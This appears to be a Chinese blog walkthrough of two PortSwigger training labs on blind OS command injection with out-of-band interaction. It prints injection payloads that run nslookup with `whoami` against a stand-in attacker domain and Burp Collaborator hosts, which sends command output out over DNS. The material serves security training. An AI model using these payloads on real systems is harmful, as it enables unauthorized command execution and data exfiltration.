【BP靶场portswigger-服务端4】操作系统命令注入-5个实验(全)(下)

简介: 【BP靶场portswigger-服务端4】操作系统命令注入-5个实验(全)(下)

5、利用带外(OAST)技术


1、简述:


可以使用一个注入命令,该命令将触发与您使用OAST技术控制的系统的带外网络交互。例如:


& nslookup kgji2ohoyw.web-attacker.com &


此有效负载使用nslookup命令对指定的域进行DNS查找。攻击者可以监视指定查找的发生,从而检测到命令已成功插入。  


2、带外通道还提供了一种从注入命令中提取输出的简单方法:


& nslookup `whoami`.kgji2ohoyw.web-attacker.com &


这将导致对攻击者的域进行DNS查找,该域包含whoami命令:


wwwuser.kgji2ohoyw.web-attacker.com


2、涉及实验:

实验4:具有带外交互的盲OS命令注入

实验5:具有带外数据泄漏的盲操作系统命令注入


实验4:具有带外交互的盲OS命令注入


part1:

填写反馈信息

使用Burp Suite拦截和修改提交反馈的请求

658153bffa834ad0918321b9814f1a8f.png

part2:


打开BP的Collaborator客户端


fdf98b49a17c44ff87c043df974ce757.png


复制服务器URL(这个是我的BP的提供的服务器)


4injhpna543tc1766dwv1466ux0noc.burpcollaborator.net

d6c91bf15b3741f887621742792b13c6.png


part3:


发送到repeater


修改email参数,将其更改为:


email=x||nslookup+x.BURP-COLLABORATOR-SUBDOMAIN||
我的是:
email=x||nslookup+4injhpna543tc1766dwv1466ux0noc.burpcollaborator.net||


8dfa4b15f0cf49b9997d321b161fae01.png

e0f22ea77f074a11b9bfb9e765de5bdb.png


part4:


修改数据包,并关闭拦截

b08e3e4f907441c492a819e9f1df6f3a.png

af00473bff264d8bbe32254e2363684d.png


fa8a4fe9fc1543b18b9a4d2afc8d31a1.png




实验5:具有带外数据泄漏的盲操作系统命令注入


part1:


填写反馈信息


使用Burp Suite拦截和修改提交反馈的请求


b5b12fa972cc40538ce2bdd921ef8f7d.png


part2:


打开BP的Collaborator客户端


aeb1c90ed00a4d20a791ab8aa8516299.png


复制服务器URL(这个是我的BP的提供的服务器)


fl45n2ug5x4nmill7s67s7u7jypodd.burpcollaborator.net

3da5d9d997a744da8a4693c8cbbe91fe.png


part3:


发送到repeater


修改email参数,将其更改为:


email=||nslookup+`whoami`.BURP-COLLABORATOR-SUBDOMAIN||
我的是:
email=x||nslookup+`whoami`.fl45n2ug5x4nmill7s67s7u7jypodd.burpcollaborator.net||


84a6db8d16b749ddafb436e9c78e62af.png

613c6d2f27a1463cbab6e3819a30ac67.png


part4:


修改数据包,并关闭拦截

c781c339afe44a84936077093734876a.png


bc96a9a5f1b749b3bce7b6bc7d886cb2.png


part5:


完成实验


我的用户peter-WKvUPX

04f4a3e0d5c54fc58b32546c07bddd59.png

d45cd798c33945108995a0328f4ddc36.png

7a9d5210e3524ca882aa9399a0bd0a56.png


2e4bc22d6f9843fb8ea48104d99862c6.png


7d62be979184459ab44139ed85f387fe.png

目录
相关文章
|
2月前
|
Java Linux BI
使用 ABAP 在 SAPGUI 里直接执行 Linux 操作系统的命令
使用 ABAP 在 SAPGUI 里直接执行 Linux 操作系统的命令
31 0
使用 ABAP 在 SAPGUI 里直接执行 Linux 操作系统的命令
|
4月前
|
Linux Shell 调度
操作系统实验一:进程和线程(1)
实验内容 一、进程的创建 编写一段源程序,使用系统调用fork()创建子进程,当此程序运行时,在系统中有父进程和子进程在并发执行。观察屏幕上的显示结果,并分析原因(源代码:forkpid.c)。
92 0
|
5月前
|
Python
python os.system 相对路径 命令执行
python os.system 相对路径 命令执行
54 0
python os.system 相对路径 命令执行
|
1月前
|
存储 Shell Linux
【Shell 命令集合 网络通讯 】⭐Linux 显示当前系统的主机名和操作系统类型 uuname命令 使用教程
【Shell 命令集合 网络通讯 】⭐Linux 显示当前系统的主机名和操作系统类型 uuname命令 使用教程
29 0
|
5月前
|
存储 算法 调度
操作系统实验五:存储管理设计
操作系统实验五:存储管理设计
158 0
|
1月前
|
监控 算法 Linux
Linux 操作系统常用命令与操作指南
本文将为大家介绍Linux操作系统中的常用命令和操作。这些命令对于初学者和Linux用户都非常重要,掌握它们将大大提高在Linux环境下的工作效率。
62 0
|
3月前
|
监控 Unix Linux
在Linux和类Unix操作系统中,`top` 命令
在Linux和类Unix操作系统中,`top` 命令
25 2
|
4月前
|
调度 数据库
操作系统实验一:进程和线程(2)
七、共享资源的互斥访问 创建两个线程来实现对一个数的递加 pthread_example.c 1、运行
40 0
|
5月前
|
Linux Shell
Linux操作系统3:Linux常用命令
Linux操作系统3:Linux常用命令
45 0
|
5月前
|
存储 缓存 前端开发
操作系统期末实验:多用户二级文件系统
操作系统期末实验:多用户二级文件系统
231 0